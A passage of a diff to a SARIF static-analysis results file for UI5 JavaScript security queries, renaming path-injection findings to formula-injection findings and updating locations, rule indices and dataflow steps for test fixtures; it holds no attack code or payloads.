"df700c15dad274b2:1", - "primaryLocationStartColumnFingerprint" : "0" - } - }, { - "ruleId" : "js/ui5-path-injection", - "rule" : { - "id" : "js/ui5-path-injection", - "index" : 2, - "toolComponent" : { - "index" : 1 - } - }, - "message" : { - "text" : "The path of a saved file depends on a [user-provided value](1)." + "text" : "The content of a saved file depends on a [user-provided value](1)." }, "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 214 + "index" : 147 }, "region" : { "startLine" : 17, - "startColumn" : 43, - "endColumn" : 61 + "startColumn" : 27, + "endColumn" : 45 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "68e5ff83e2198ff5:1", - "primaryLocationStartColumnFingerprint" : "26" + "primaryLocationLineHash" : "41899ff1a967017d:1", + "primaryLocationStartColumnFingerprint" : "10" }, "codeFlows" : [ { "threadFlows" : [ { @@ -24197,9 +24193,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 219 + "index" : 152 }, "region" : { "startLine" : 5, @@ -24216,9 +24212,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 215 + "index" : 148 }, "region" : { "startLine" : 9, @@ -24234,9 +24230,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 214 + "index" : 147 }, "region" : { "startLine" : 8, @@ -24252,14 +24248,14 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 214 + "index" : 147 }, "region" : { "startLine" : 17, - "startColumn" : 43, - "endColumn" : 61 + "startColumn" : 27, + "endColumn" : 45 } }, "message" : { @@ -24273,9 +24269,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 219 + "index" : 152 }, "region" : { "startLine" : 5, @@ -24289,34 +24285,34 @@ } } ] }, { - "ruleId" : "js/ui5-path-injection", + "ruleId" : "js/ui5-formula-injection", "rule" : { - "id" : "js/ui5-path-injection", - "index" : 2, + "id" : "js/ui5-formula-injection", + "index" : 1, "toolComponent" : { "index" : 1 } }, "message" : { - "text" : "The path of a saved file depends on a [user-provided value](1)." + "text" : "The content of a saved file depends on a [user-provided value](1)." }, "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 156 }, "region" : { "startLine" : 23, - "startColumn" : 43, - "endColumn" : 55 + "startColumn" : 27, + "endColumn" : 39 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "b79de9dff4d8f842:1", - "primaryLocationStartColumnFingerprint" : "26" + "primaryLocationLineHash" : "9afa5fd07ee36af6:1", + "primaryLocationStartColumnFingerprint" : "10" }, "codeFlows" : [ { "threadFlows" : [ { @@ -24324,9 +24320,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 228 + "index" : 160 }, "region" : { "startLine" : 5, @@ -24343,9 +24339,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 223 + "index" : 157 }, "region" : { "startLine" : 9, @@ -24361,9 +24357,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 156 }, "region" : { "startLine" : 9, @@ -24379,9 +24375,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 156 }, "region" : { "startLine" : 15, @@ -24397,9 +24393,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 156 }, "region" : { "startLine" : 15, @@ -24415,199 +24411,90 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 156 }, "region" : { "startLine" : 17, "startColumn" : 53, - "endColumn" : 58 - } - }, - "message" : { - "text" : "value" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", - "uriBaseId" : "%SRCROOT%", - "index" : 224 - }, - "region" : { - "startLine" : 17, - "startColumn" : 46, - "endColumn" : 59 - } - }, - "message" : { - "text" : "String(value)" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", - "uriBaseId" : "%SRCROOT%", - "index" : 224 - }, - "region" : { - "startLine" : 17, - "startColumn" : 36, - "endColumn" : 60 - } - }, - "message" : { - "text" : "encodeX ... value))" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", - "uriBaseId" : "%SRCROOT%", - "index" : 224 - }, - "region" : { - "startLine" : 17, - "startColumn" : 21, - "endColumn" : 60 + "endColumn" : 58 } }, "message" : { - "text" : "xssSanitized" + "text" : "value" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 156 }, "region" : { - "startLine" : 23, - "startColumn" : 43, - "endColumn" : 55 + "startLine" : 17, + "startColumn" : 46, + "endColumn" : 59 } }, "message" : { - "text" : "xssSanitized" + "text" : "String(value)" } } - } ] - } ] - } ], - "relatedLocations" : [ { - "id" : 1, - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", - "uriBaseId" : "%SRCROOT%", - "index" : 228 - }, - "region" : { - "startLine" : 5, - "startColumn" : 5, - "endLine" : 7, - "endColumn" : 29 - } - }, - "message" : { - "text" : "user-provided value" - } - } ] - }, { - "ruleId" : "js/ui5-path-injection", - "rule" : { - "id" : "js/ui5-path-injection", - "index" : 2, - "toolComponent" : { - "index" : 1 - } - }, - "message" : { - "text" : "The path of a saved file depends on a [user-provided value](1)." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", - "uriBaseId" : "%SRCROOT%", - "index" : 232 - }, - "region" : { - "startLine" : 16, - "startColumn" : 39, - "endColumn" : 67 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : "de27f6d546a116e8:1", - "primaryLocationStartColumnFingerprint" : "26" - }, - "codeFlows" : [ { - "threadFlows" : [ { - "locations" : [ { + }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 235 + "index" : 156 }, "region" : { - "startLine" : 5, - "startColumn" : 5, - "endLine" : 7, - "endColumn" : 29 + "startLine" : 17, + "startColumn" : 36, + "endColumn" : 60 } }, "message" : { - "text" : "value={/input}" + "text" : "encodeX ... value))" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 232 + "index" : 156 }, "region" : { - "startLine" : 10, - "startColumn" : 17, - "endColumn" : 28 + "startLine" : 17, + "startColumn" : 21, + "endColumn" : 60 } }, "message" : { - "text" : "input: null" + "text" : "xssSanitized" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 232 + "index" : 156 }, "region" : { - "startLine" : 16, - "startColumn" : 39, - "endColumn" : 67 + "startLine" : 23, + "startColumn" : 27, + "endColumn" : 39 } }, "message" : { - "text" : "oModel. ... input')" + "text" : "xssSanitized" } } } ] @@ -24617,9 +24504,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 235 + "index" : 160 }, "region" : { "startLine" : 5, @@ -24633,34 +24520,34 @@ } } ] }, { - "ruleId" : "js/ui5-log-injection", + "ruleId" : "js/ui5-formula-injection", "rule" : { - "id" : "js/ui5-log-injection", - "index" : 3, + "id" : "js/ui5-formula-injection", + "index" : 1, "toolComponent" : { "index" : 1 } }, "message" : { - "text" : "Log entry depends on a [user-provided value](1)." + "text" : "The content of a saved file depends on a [user-provided value](1)." }, "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 171 + "index" : 165 }, "region" : { - "startLine" : 13, - "startColumn" : 38, - "endColumn" : 56 + "startLine" : 16, + "startColumn" : 23, + "endColumn" : 51 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "fb0b88ea7a3fc8f1:1", - "primaryLocationStartColumnFingerprint" : "21" + "primaryLocationLineHash" : "e701acdf85af03b4:1", + "primaryLocationStartColumnFingerprint" : "10" }, "codeFlows" : [ { "threadFlows" : [ { @@ -24668,9 +24555,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 175 + "index" : 168 }, "region" : { "startLine" : 5, @@ -24687,12 +24574,12 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 172 + "index" : 165 }, "region" : { - "startLine" : 9, + "startLine" : 10, "startColumn" : 17, "endColumn" : 28 } @@ -24705,36 +24592,18 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 171 + "index" : 165 }, "region" : { - "startLine" : 7, + "startLine" : 16, "startColumn" : 23, - "endColumn" : 38 - } - }, - "message" : { - "text" : "{ type: \"int\" }" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", - "uriBaseId" : "%SRCROOT%", - "index" : 171 - }, - "region" : { - "startLine" : 13, - "startColumn" : 38, - "endColumn" : 56 + "endColumn" : 51 } }, "message" : { - "text" : "oControl.getText()" + "text" : "oModel. ... input')" } } } ] @@ -24744,9 +24613,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 175 + "index" : 168 }, "region" : { "startLine" : 5, @@ -24763,7 +24632,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -24870,7 +24739,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -25067,7 +24936,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -25225,72 +25094,198 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uriBaseId" : "%SRCROOT%", + "index" : 3 + }, + "region" : { + "startLine" : 23, + "startColumn" : 39, + "endColumn" : 44 + } + }, + "message" : { + "text" : "value" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uriBaseId" : "%SRCROOT%", + "index" : 3 + }, + "region" : { + "startLine" : 23, + "startColumn" : 18, + "endColumn" : 45 + } + }, + "message" : { + "text" : "jQuery. ... (value)" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uriBaseId" : "%SRCROOT%", + "index" : 3 + }, + "region" : { + "startLine" : 23, + "startColumn" : 9, + "endColumn" : 45 + } + }, + "message" : { + "text" : "value1" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uriBaseId" : "%SRCROOT%", + "index" : 3 + }, + "region" : { + "startLine" : 25, + "startColumn" : 26, + "endColumn" : 32 + } + }, + "message" : { + "text" : "value1" + } + } + } ] + } ] + } ], + "relatedLocations" : [ { + "id" : 1, + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uriBaseId" : "%SRCROOT%", + "index" : 3 + }, + "region" : { + "startLine" : 21, + "startColumn" : 23, + "endColumn" : 30 + } + }, + "message" : { + "text" : "user-provided value" + } + } ] + }, { + "ruleId" : "js/ui5-log-injection", + "rule" : { + "id" : "js/ui5-log-injection", + "index" : 2, + "toolComponent" : { + "index" : 1 + } + }, + "message" : { + "text" : "Log entry depends on a [user-provided value](1)." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", + "uriBaseId" : "%SRCROOT%", + "index" : 174 + }, + "region" : { + "startLine" : 13, + "startColumn" : 38, + "endColumn" : 56 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "fb0b88ea7a3fc8f1:1", + "primaryLocationStartColumnFingerprint" : "21" + }, + "codeFlows" : [ { + "threadFlows" : [ { + "locations" : [ { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 3 + "index" : 177 }, "region" : { - "startLine" : 23, - "startColumn" : 39, - "endColumn" : 44 + "startLine" : 5, + "startColumn" : 5, + "endLine" : 7, + "endColumn" : 29 } }, "message" : { - "text" : "value" + "text" : "value={/input}" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 3 + "index" : 173 }, "region" : { - "startLine" : 23, - "startColumn" : 18, - "endColumn" : 45 + "startLine" : 9, + "startColumn" : 17, + "endColumn" : 28 } }, "message" : { - "text" : "jQuery. ... (value)" + "text" : "input: null" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 3 + "index" : 174 }, "region" : { - "startLine" : 23, - "startColumn" : 9, - "endColumn" : 45 + "startLine" : 7, + "startColumn" : 23, + "endColumn" : 38 } }, "message" : { - "text" : "value1" + "text" : "{ type: \"int\" }" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 3 + "index" : 174 }, "region" : { - "startLine" : 25, - "startColumn" : 26, - "endColumn" : 32 + "startLine" : 13, + "startColumn" : 38, + "endColumn" : 56 } }, "message" : { - "text" : "value1" + "text" : "oControl.getText()" } } } ] @@ -25300,14 +25295,15 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 3 + "index" : 177 }, "region" : { - "startLine" : 21, - "startColumn" : 23, - "endColumn" : 30 + "startLine" : 5, + "startColumn" : 5, + "endLine" : 7, + "endColumn" : 29 } }, "message" : { @@ -25318,7 +25314,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -25331,7 +25327,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 17, @@ -25352,7 +25348,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 185 + "index" : 186 }, "region" : { "startLine" : 5, @@ -25371,7 +25367,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 181 + "index" : 183 }, "region" : { "startLine" : 9, @@ -25389,7 +25385,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 8, @@ -25407,7 +25403,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 15, @@ -25425,7 +25421,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 15, @@ -25443,7 +25439,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 16, @@ -25461,7 +25457,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 16, @@ -25479,7 +25475,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 16, @@ -25497,7 +25493,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 16, @@ -25515,7 +25511,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 }, "region" : { "startLine" : 17, @@ -25536,7 +25532,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 185 + "index" : 186 }, "region" : { "startLine" : 5, @@ -25553,7 +25549,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -25566,7 +25562,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 189 + "index" : 190 }, "region" : { "startLine" : 17, @@ -25587,7 +25583,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 193 + "index" : 194 }, "region" : { "startLine" : 6, @@ -25606,7 +25602,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 189 + "index" : 190 }, "region" : { "startLine" : 9, @@ -25624,7 +25620,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 189 + "index" : 190 }, "region" : { "startLine" : 15, @@ -25642,7 +25638,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 189 + "index" : 190 }, "region" : { "startLine" : 15, @@ -25660,7 +25656,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 189 + "index" : 190 }, "region" : { "startLine" : 17, @@ -25681,7 +25677,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 193 + "index" : 194 }, "region" : { "startLine" : 6, @@ -25698,7 +25694,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -25711,7 +25707,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 196 + "index" : 198 }, "region" : { "startLine" : 16, @@ -25732,7 +25728,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 202 + "index" : 203 }, "region" : { "startLine" : 5, @@ -25751,7 +25747,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 196 + "index" : 198 }, "region" : { "startLine" : 8, @@ -25769,7 +25765,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 196 + "index" : 198 }, "region" : { "startLine" : 14, @@ -25787,7 +25783,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 196 + "index" : 198 }, "region" : { "startLine" : 14, @@ -25805,7 +25801,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 196 + "index" : 198 }, "region" : { "startLine" : 16, @@ -25826,7 +25822,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 202 + "index" : 203 }, "region" : { "startLine" : 5, @@ -25843,7 +25839,7 @@ "ruleId" : "js/ui5-log-injection", "rule" : { "id" : "js/ui5-log-injection", - "index" : 3, + "index" : 2, "toolComponent" : { "index" : 1 } @@ -25856,7 +25852,7 @@ "artifactLocation" : { "uri" : 